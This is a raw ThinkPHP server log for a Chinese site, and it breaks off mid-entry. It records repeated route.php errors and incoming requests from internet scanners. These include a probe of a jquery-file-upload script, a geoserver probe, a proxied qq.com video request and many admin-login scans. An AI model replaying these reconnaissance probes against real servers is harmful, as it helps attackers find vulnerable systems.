[8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:02:30+08:00 ] 65.49.1.15 GET 59.110.137.245/favicon.ico [运行时间:0.014948s] [吞吐率:66.90req/s] [内存消耗:132.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:03:09+08:00 ] 65.49.1.21 GET 59.110.137.245/geoserver/web/ [运行时间:0.002049s] [吞吐率:488.05req/s] [内存消耗:132.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'geoserver', 2 => 'web', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:06:04+08:00 ] 185.191.126.248 GET 59.110.137.245:80/ [运行时间:0.001408s] [吞吐率:710.18req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T21:12:11+08:00 ] 218.66.171.228 HEAD apd-vlive.apdcdn.tc.qq.com/vlive.qqvideo.tc.qq.com/A404lOJp13DlKlPjqVBpglwo6MdhnlXmf-rqWtaYHj2c/B_JxNyiJmktHRgresXhfyMej16McWFKwhdG8VPQ1hHkQcRGWBfetHyhem97R-tNpoO/u0017kij2zq.mp4?vkey=C99F3981330C21B0044292BBFF1650625B138CE72A557EA27EFE8D02DD6FD236681F6C2EF9833BF4AF508EBB9C1DB161621C1988931C6DFD711BA7CBC78CFDF7BFC4C1BDAB07A99A60BB78597766D074113828B6338D63C0E61F44E53D538C571623E99762753F4A7598F5D96714B9E51480F37C7069241D896300377AADA7EEA56CDA3E35A17AA5 [运行时间:0.027414s] [吞吐率:36.48req/s] [内存消耗:135.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'vlive.qqvideo.tc.qq.com', 2 => 'A404lOJp13DlKlPjqVBpglwo6MdhnlXmf-rqWtaYHj2c', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => 'apd-vlive.apdcdn.tc.qq.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0', 'referer' => 'http://apd-vlive.apdcdn.tc.qq.com', ) [ info ] [ PARAM ] array ( 'vkey' => 'C99F3981330C21B0044292BBFF1650625B138CE72A557EA27EFE8D02DD6FD236681F6C2EF9833BF4AF508EBB9C1DB161621C1988931C6DFD711BA7CBC78CFDF7BFC4C1BDAB07A99A60BB78597766D074113828B6338D63C0E61F44E53D538C571623E99762753F4A7598F5D96714B9E51480F37C7069241D896300377AADA7EEA56CDA3E35A17AA5', 'tNpoO' => 'u0017kij2zq.mp4', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T21:13:12+08:00 ] 194.38.20.13 GET 51tianwei.com/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg [运行时间:0.001997s] [吞吐率:500.75req/s] [内存消耗:134.02kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugins', 2 => 'jquery-file-upload', ), ) [ info ] [ HEADER ] array ( 'accept' => '*/*', 'user-agent' => 'ALittle Client', 'host' => '51tianwei.com', 'content-type' => 'application/json', 'content-length' => '0', 'connection' => 'Keep-Alive', ) [ info ] [ PARAM ] array ( 'file' => 'tf2rghf.jpg', 'server' => 'php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:29:58+08:00 ] 203.2.64.59 GET 51tianwei.com/ [运行时间:0.066317s] [吞吐率:15.08req/s] [内存消耗:161.90kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-encoding' => 'gzip', 'accept-language' => 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 'cache-control' => 'no-cache', 'connection' => 'keep-alive, close', 'pragma' => 'no-cache', 'upgrade-insecure-requests' => '1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:30:35+08:00 ] 5.8.11.202 GET / [运行时间:0.001280s] [吞吐率:781.21req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (X11; Linux 3.8-6.dmz.1-liquorix-686) KHTML/4.8.4 (like Gecko) Konqueror/4.8', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-11-14T21:39:17+08:00 ] 205.210.31.46 GET www.51tianwei.com/admin/auth/login [运行时间:0.045299s] [吞吐率:22.08req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:39:28+08:00 ] 198.235.24.149 GET www.51tianwei.com/admin/auth/login [运行时间:0.001763s] [吞吐率:567.18req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:40:34+08:00 ] 198.235.24.138 GET www.51tianwei.com/admin/auth/login [运行时间:0.001883s] [吞吐率:531.06req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:41:24+08:00 ] 198.235.24.245 GET 51tianwei.com/admin/auth/login [运行时间:0.001834s] [吞吐率:545.28req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:42:20+08:00 ] 205.210.31.34 GET 51tianwei.com/admin/auth/login [运行时间:0.003065s] [吞吐率:326.25req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:42:59+08:00 ] 198.235.24.85 GET 51tianwei.com/admin/auth/login [运行时间:0.001710s] [吞吐率:584.82req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:43:27+08:00 ] 147.185.132.97 GET 51tianwei.com/admin/auth/login [运行时间:0.001800s] [吞吐率:555.54req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:43:29+08:00 ] 198.235.24.38 GET 51tianwei.com/admin/auth/login [运行时间:0.002430s] [吞吐率:411.53req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:43:44+08:00 ] 147.185.132.30 GET www.51tianwei.com/admin/auth/login [运行时间:0.001736s] [吞吐率:575.98req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:44:13+08:00 ] 147.185.132.54 GET www.51tianwei.com/admin/auth/login [运行时间:0.002546s] [吞吐率:392.80req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:44:36+08:00 ] 205.210.31.134 GET 51tianwei.com/admin/auth/login [运行时间:0.001896s] [吞吐率:527.39req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:44:44+08:00 ] 147.185.132.120 GET www.51tianwei.com/admin/auth/login [运行时间:0.001820s] [吞吐率:549.42req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:48:20+08:00 ] 198.235.24.90 GET 51tianwei.com/admin/auth/login [运行时间:0.023694s] [吞吐率:42.20req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid 